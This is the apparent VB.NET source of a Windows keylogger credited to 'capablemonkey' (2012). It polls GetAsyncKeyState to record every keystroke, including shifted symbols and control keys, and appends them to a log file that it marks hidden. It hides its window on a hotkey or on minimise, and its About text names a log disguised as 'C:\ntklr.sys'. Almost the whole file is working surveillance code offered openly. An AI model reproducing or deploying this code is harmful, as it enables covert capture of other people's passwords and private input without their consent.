zLJVuQwc

1' libraries
2Imports System.Runtime.InteropServices
3Imports System.Threading
4Imports System.IO
5
6Public Class frmKeylogger
7    ' declarations
8    Dim buffer As New List(Of String)
9    Dim buffercat As String
10    Dim stagingpoint As String
11    Dim actual As String
12    Dim initlog As Boolean = False
13    Dim log As StreamWriter
14
15    ' threading
16    Public thread_scan As Thread
17    Public thread_hide As Thread
18
19    ' thread-safe calling for thread_hide
20    Delegate Sub Change()
21    Dim objchange As New Change(AddressOf DoHide)
22
23
24    Private Sub frmKeyRogger_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
25        Me.Text = "Keylogger"
26        lblTitle1.Text = "capablemonkey's"
27        lblTitle2.Text = "Keylogger"
28        lblAbout.Text = "About"
29
30        GroupBox1.Text = "Control Panel"
31        cmdBegin.Text = "Start"
32        cmdEnd.Text = "End"
33        cmdEnd.Enabled = False
34        cmdClear.Text = "Clear"
35
36        'initiate hide thread
37        thread_hide = New Thread(AddressOf HideIt)
38        thread_hide.IsBackground = True
39        thread_hide.Start()
40
41        status.Text = "Ready"
42    End Sub
43
44    ' write out keystroke log to file on close event
45    Private Sub frmKeyRogger_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
46        Call WriteOut()
47    End Sub
48
49
50    ' getkey, API call to USER32.DLL
51    <DllImport("USER32.DLL", EntryPoint:="GetAsyncKeyState", SetLastError:=True,
52    CharSet:=CharSet.Unicode, ExactSpelling:=True,
53    CallingConvention:=CallingConvention.StdCall)>
54    Public Shared Function getkey(ByVal Vkey As Integer) As Boolean
55    End Function
56
57
58    Private Sub cmdBegin_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdBegin.Click
59
60        thread_scan = New Thread(AddressOf Scan)
61        thread_scan.IsBackground = True
62        thread_scan.Start()
63        cmdBegin.Enabled = False
64
65        If chkFile.Checked = True Then
66            Try
67                log = New StreamWriter(OpenFileDialog.FileName, True)
68            Catch
69                MsgBox("Could not open file for writing.  Perhaps it is read only, non-existant, or you lack necessary privileges to access it?")
70            End Try
71        End If
72
73        status.Text = "Logging keystrokes..."
74
75        cmdEnd.Enabled = True
76    End Sub
77
78    ' checks for keypresses with delay, upon detection of pressed key, calls AddToBuffer
79    Public Sub Scan()
80        Dim foo As Integer
81        While 1
82
83            For foo = 1 To 93 Step 1
84                If getkey(foo) Then
85                    AddtoBuffer(foo, getkey(16))
86                End If
87            Next
88
89            For foo = 186 To 192 Step 1
90                If getkey(foo) Then
91                    AddtoBuffer(foo, getkey(16))
92                End If
93            Next
94
95            BufferToOutput()
96            buffer.Clear()
97
98            Thread.Sleep(120)
99            SetText(stagingpoint)
100        End While
101    End Sub
102
103
104    ' parses keycode and saves to buffer to be written
105    Public Sub AddtoBuffer(ByVal foo As Integer, ByVal modifier As Boolean)
106        If Not (foo = 1 Or foo = 2 Or foo = 8 Or foo = 9 Or foo = 13 Or (foo >= 17 And foo <= 20) Or foo = 27 Or (foo >= 32 And foo <= 40) Or (foo >= 44 And foo <= 57) Or (foo >= 65 And foo <= 93) Or (foo >= 186 And foo <= 192)) Then
107            Exit Sub
108        End If
109
110        Select Case foo
111            Case 48 To 57
112                If modifier Then
113                    Select Case foo
114                        Case 48
115                            actual = ")"
116                        Case 49
117                            actual = "!"
118                        Case 50
119                            actual = "@"
120                        Case 51
121                            actual = "#"
122                        Case 52
123                            actual = "$"
124                        Case 53
125                            actual = "%"
126                        Case 54
127                            actual = "^"
128                        Case 55
129                            actual = "&"
130                        Case 56
131                            actual = "*"
132                        Case 57
133                            actual = "("
134                    End Select
135                Else
136                    actual = Convert.ToChar(foo)
137                End If
138            Case 65 To 90
139                If modifier Then
140                    actual = Convert.ToChar(foo)
141                Else
142                    actual = Convert.ToChar(foo + 32)
143                End If
144            Case 1
145                'actual = "<LCLICK>"
146                actual = ""
147            Case 2
148                actual = "<RCLICK>"
149            Case 8
150                actual = "<BACKSPACE>"
151            Case 9
152                actual = "<TAB>"
153            Case 13
154                actual = "<ENTER>"
155            Case 17
156                actual = "<CTRL>"
157            Case 18
158                actual = "<ALT>"
159            Case 19
160                actual = "<PAUSE>"
161            Case 20
162                actual = "<CAPSLOCK>"
163            Case 27
164                actual = "<ESC>"
165            Case 32
166                actual = " "
167            Case 33
168                actual = "<PAGEUP>"
169            Case 34
170                actual = "<PAGEDOWN>"
171            Case 35
172                actual = "<END>"
173            Case 36
174                actual = "<HOME>"
175            Case 37
176                actual = "<LEFT>"
177            Case 38
178                actual = "<UP>"
179            Case 39
180                actual = "<RIGHT>"
181            Case 40
182                actual = "<DOWN>"
183            Case 44
184                actual = "<PRNTSCRN>"
185            Case 45
186                actual = "<INSERT>"
187            Case 46
188                actual = "<DEL>"
189            Case 47
190                actual = "<HELP>"
191            Case 186
192                If modifier Then
193                    actual = ":"
194                Else
195                    actual = ";"
196                End If
197                actual = ";"
198
199            Case 187
200                If modifier Then
201                    actual = "+"
202                Else
203                    actual = "="
204                End If
205            Case 188
206                If modifier Then
207                    actual = "<"
208                Else
209                    actual = ","
210                End If
211            Case 189
212                If modifier Then
213                    actual = "_"
214                Else
215                    actual = "-"
216                End If
217            Case 190
218                If modifier Then
219                    actual = ">"
220                Else
221                    actual = "."
222                End If
223            Case 191
224                If modifier Then
225                    actual = "?"
226                Else
227                    actual = "/"
228                End If
229            Case 192
230                If modifier Then
231                    actual = "~"
232                Else
233                    actual = "`"
234                End If
235        End Select
236
237        If buffer.Count <> 0 Then
238            Dim bar As Integer = 0
239            While bar < buffer.Count
240                If buffer(bar) = actual Then
241                    Exit Sub
242                End If
243                bar += 1
244            End While
245        End If
246
247        buffer.Add(actual)
248
249
250    End Sub
251
252    ' writes buffer to output box
253    Public Sub BufferToOutput()
254        If buffer.Count <> 0 Then
255            Dim qux As Integer = 0
256            While qux < buffer.Count
257                buffercat = buffercat & buffer(qux)
258                qux += 1
259            End While
260            'SetText(txtOutput.Text & buffercat)
261            stagingpoint = stagingpoint & buffercat
262            buffercat = String.Empty
263        End If
264    End Sub
265
266    Delegate Sub SetTextCallback(ByVal [text] As String)
267
268    ' thread safe call to output text to output box
269    Private Sub SetText(ByVal [text] As String)
270        If txtOutput.InvokeRequired Then
271            Dim d As New SetTextCallback(AddressOf SetText)
272            Me.Invoke(d, New Object() {[text]})
273        Else
274            txtOutput.Text = [text]
275        End If
276    End Sub
277
278    Private Sub cmdEnd_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdEnd.Click
279        thread_scan.Abort()
280        buffer.Clear()
281        cmdBegin.Enabled = True
282        cmdEnd.Enabled = False
283        Call WriteOut()
284        status.Text = "Stopped logging."
285    End Sub
286
287    Private Sub cmdClear_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdClear.Click
288        txtOutput.Clear()
289        stagingpoint = String.Empty
290    End Sub
291
292
293    Private Sub lblAbout_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles lblAbout.Click
294        MsgBox("Written by capablemonkey (c) 2012" & vbNewLine & "contact: technix1@gmail.com" & vbNewLine & "blog: capablemonkey.blogspot.com" & vbNewLine & "Revision 3/31/2012" & vbNewLine & vbNewLine & "Press ctrl+shift+s to hide and unhide me!" & vbNewLine & "Log file stored in C:\ntklr.sys.", , "About")
295    End Sub
296
297
298    Private Sub frmKeyRogger_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
299        If Me.WindowState = FormWindowState.Minimized Then
300            Me.Hide()
301        End If
302    End Sub
303
304    Public Sub WriteOut()
305        If chkFile.Checked = False Then
306            Exit Sub
307        End If
308        Dim tm As System.DateTime
309        tm = Now
310
311        Try
312            log.WriteLine(vbNewLine)
313        Catch
314            log = New StreamWriter(OpenFileDialog.FileName, True)
315        End Try
316        log.WriteLine(tm)
317        If stagingpoint <> Nothing Then
318            log.WriteLine(stagingpoint)
319        End If
320        log.WriteLine(vbNewLine)
321        log.Flush()
322        log.Close()
323
324
325        'hides file/sets as hidden
326        File.SetAttributes(OpenFileDialog.FileName, FileAttributes.Hidden)
327    End Sub
328
329    ' ctrl+shift+s toggles hide form
330    Public Sub HideIt()
331        While 1
332            If getkey(17) And getkey(160) And getkey(83) Then
333                Me.Invoke(objchange)
334            End If
335            Thread.Sleep(200)
336        End While
337    End Sub
338
339    Public Sub DoHide()
340        If Me.Visible = True Then
341            Me.Visible = False
342        Else
343            Me.Visible = True
344        End If
345    End Sub
346
347    Private Sub chkFile_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles chkFile.CheckedChanged
348        If chkFile.Checked = True Then
349            OpenFileDialog.ShowDialog()
350        End If
351    End Sub
352End Class